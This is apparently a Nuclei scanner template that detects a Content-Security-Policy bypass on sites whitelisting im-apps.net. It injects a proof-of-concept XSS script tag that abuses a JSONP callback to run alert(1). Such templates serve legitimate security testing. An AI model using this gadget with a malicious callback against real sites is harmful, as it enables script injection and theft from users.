id: im-apps-sync-csp-bypass

info:
  name: Content-Security-Policy Bypass - IM Apps Sync
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,im-apps-sync

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "im-apps.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: im_apps_sync_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://sync.im-apps.net/imid/segment?callback=alert(1)&token=VXoW9wEaCAYxiIkb8Mzm7Q"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "im_apps_sync_csp_xss == true"
# digest: 490a0046304402204e664e9aa7ddc0c5043018503f0d59df15553c7ebc925a00f39f15eb836b146202204ef2f20e69381562490ce17778413d1222045d869b3b29170857871a88cf2f90:922c64590222798bb761d5b6d8e72950